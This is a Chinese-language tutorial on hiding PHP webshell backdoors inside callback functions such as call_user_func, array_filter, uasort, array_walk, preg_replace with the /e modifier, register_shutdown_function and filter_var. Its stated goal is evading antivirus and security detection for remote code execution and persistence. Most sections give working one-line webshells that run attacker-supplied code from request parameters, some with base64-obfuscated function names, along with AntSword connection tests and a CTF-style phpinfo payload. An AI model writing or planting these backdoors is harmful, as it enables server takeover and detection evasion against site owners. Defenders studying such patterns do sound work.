学习后门函数目的:将被查杀的关键词隐藏起来
通过PHP回调函数(Callback)隐藏恶意代码,绕过安全检测,实现:
-
命令执行(RCE)
-
文件操作
-
Webshell持久化
一.区分命令
- 系统命令:直接执行windows或linux命令
- 如:system,exec,shell_exec,passthru等
- 执行代码:
- eval,assert
二、单参数回调后门
执行命令函数--assert()
后门函数
1.call_user_func(古早)
语法:
第一个参数 callback
是被调用的回调函数,其余参数是回调函数的参数。
先看一个简单的例子:
call_user_func('assert', $_REQUEST['pass']);
接收参数后相当于
assert($_REQUEST['pass'])
$_REQUEST可以接收GET,POST及cookie的传参。
执行php代码:
注:在 PHP 8.0.0 中:asset()函数接收字符串不再被当作代码执行:如果 $assertion 是字符串,会抛出 TypeError。
也可以传入数组:
call_user_func_array('assert', array($_REQUEST['pass']));
ps:这个代码现在会被杀毒软件直接杀掉。
2.array_filter
array_filter(array
$array
, ?callable$callback
=null
, int$mode
= 0): array
第二个参数作为回调函数。
将数组中的值放到第二个参数中执行
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
所以第一个参数传命令,第二个参数传执行函数。
将assert转Base64加密
e=YXNzZXJ0&pass=phpinfo()
蚁剑测试连接:
3.array_map
array_map函数也有类似array_filter的效果
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
三.双参数回调函数
执行命令函数--assert()
在 PHP 5.4.8 及以上版本中,assert() 函数的签名发生了变化,增加了一个可选参数 description。这一变化使得 assert() 的行为更加灵活,同时也为某些特殊用法(如“回调后门”)提供了可能性。
即asset()可以接受两个参数了。
assert语法:
assert(mixed
$assertion
, Throwable|string|null$description
=null
): bool
后门函数
1.uasort
使用用户定义的比较函数对数组进行排序并保持索引关联
语法:
第二个参数是回调函数
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
注: uasort()会将第二个参数放在回调函数的第一个参数位置
2.uksort
使用用户自定义的比较函数对数组中的键名进行排序
语法:
与uasort一致,第二个参数是回调函数
用数组对象的方式 使用这两个函数:
<?php
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
<?php
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
3.array_reduce
用回调函数迭代地将数组简化为单一的值(可以实现数组元素的累加和累乘)
语法:
array_reduce(array
$array
, callable$callback
, mixed$initial
=null
): mixed
回调函数格式:
carry
携带上次迭代的返回值; 如果本次迭代是第一次,那么这个值是 initial。
<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
4.array_udiff
用回调函数比较数据来计算数组的差集(可用来比较)
语法:
array_udiff(array
$array
, array...$arrays
, callable$value_compare_func
): array
传参需要传两个数组
<?
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
四.三参数回调函数
执行命令函数--preg_replace /e模式
先了解一下preg_replace /e:
e 修饰符的作用是将 preg_replace() 的替换字符串先使用eval()函数执行,然后将执行结果作为替换内容。
注: 由于安全风险,e 修饰符在 PHP 5.5.0 中被弃用,并在 PHP 7.0.0 中移除。
来看一个小例子:
<?php
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
GET传参的键值被用作正则表达式,值被用作被替换函数。
知识点:
- replacement(替换字符串) 中可以包含后向引用 \\n 或 $n,语法上首选后者。 每个这样的引用将被匹配到的第 n 个捕获子组捕获到的文本替换。所以\\1=${1},用来获取第一个分组。
- 在双引号字符串中,会直接解析并执行变量或表达式(如果
${}
内部是一个可执行的表达式或函数调用)。变量名必须以$
开头。
payload:\S*=${phpinfo()};
解题思路:
用\S*来匹配${phpinfo()};。strtolower("\\1")中的\\1捕获到第一个分组(也就是${phpinfo()};),由于是/e模式,会用eval()函数执行命令,此时会将双引号中的${phpinfo()};解析并执行。
相当于eval(strtolower("${phpinfo()};"))
为什么不用.*来匹配所有字符串?
在php中,.号会被接收为_
后门函数:
1.array_walk
将数组中的每一个值都用回调函数执行一遍
语法:
array_walk(array|object
&$array
, callable$callback
, mixed$arg
=null
): true
回调函数格式
callback
典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个
arg
如果提供了可选参数 arg,将被作为第三个参数传递给 callback。
不选第三个参数,可以用assert()双参数来执行,这时需要把键名和值替换位置。
后门代码:
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
相当于
$e=preg_replace('|.*|e',$_POST['pass'],'');
蚁剑测试:
2.array_walk_recursive
对数组中的每个成员递归地应用用户函数
语法:
array_walk_recursive(array|object
&$array
, callable$callback
, mixed$arg
=null
): true
回调函数格式与array_walk一致
后门代码:
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
3. mb_ereg_replace(类似preg_replace )
语法:
mb_ereg_replace(string $pattern, string $replacement, string $string, string $options = ?): string
第四个参数option是选择修饰符
这个函数没有回调函数
后门代码:
<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
4.preg_filter(类似preg_replace )
语法:
preg_filter(
string|array $pattern,
string|array $replacement,
string|array $subject,
int $limit = -1,
int &$count = null
): string|array|null
没有回调函数
后门代码:
<?php
preg_filter('|.*|e', $_REQUEST['pass'], '');
五.无回显回调后门
ob_start
打开输出控制缓冲
语法:
ob_start(?callable $callback = null, int $chunk_size = 0, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS): bool
第一个参数为回调函数
回调函数格式:
将输出缓冲区的内容放到回调函数里面执行
但是有执行结果也不在流里,最后输出不了,所以这样的一句话没法用远程连接
可以用来将后门写在其他文件里上传:
六.稍隐蔽的单参数回调后门
1.register_shutdown_function
注册一个 callback ,它会在脚本执行完成或者 exit() 后被调用。
语法:
register_shutdown_function(callable $callback, mixed ...$args): void
第一个参数为回调函数
后门代码:
<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
2.register_tick_function
注册给定的 callback,以便在 tick(时钟周期) 被调用时执行。
语法:
register_tick_function(callable $callback, mixed ...$args): bool
第一个参数为回调函数
后门代码:
<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);
3.filter_var 和filter_var_array
filter_var :
使用特定的过滤器过滤一个变量
语法:
filter_var(mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0): mixed
后门代码:
<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array:
获取多个变量并且过滤它们
语法:
filter_var_array(array $array, array|int $options = FILTER_DEFAULT, bool $add_empty = true): array|false|null
后门代码:
<?
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
七.其他参数型回调后门
preg_replace_callback
回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?
php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换 ,preg_replace_callback也有回调函数来执行代码。
语法:
preg_replace_callback(
string|array $pattern,
callable $callback,
string|array $subject,
int $limit = -1,
int &$count = null,
int $flags = 0
): string|array|null
回调函数格式:
回调函数接收参数为数组类型,但可以使用匿名函数,接收数组,返回数组中的值
后门代码:
<?php
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
注:create_function函数已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除。 强烈建议不要依赖本函数。
类似的函数
<?php
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
总结:
1.执行一个参数和双参数的函数可以用assert(),三参数可以用preg_replace的/e模式,但是都随着php版本的升级,已经被淘汰了。
2.assert()函数在 PHP 8.0.0 之前,如果 assertion 是 string,将解释为 PHP 代码,并通过 eval() 执行。这种行为在 PHP 7.2.0 中弃用,并在 PHP 8.0.0 中移除。
3.preg_replace的/e模式:e 修饰符在 PHP 5.5.0 中被弃用,并在 PHP 7.0.0 中移除。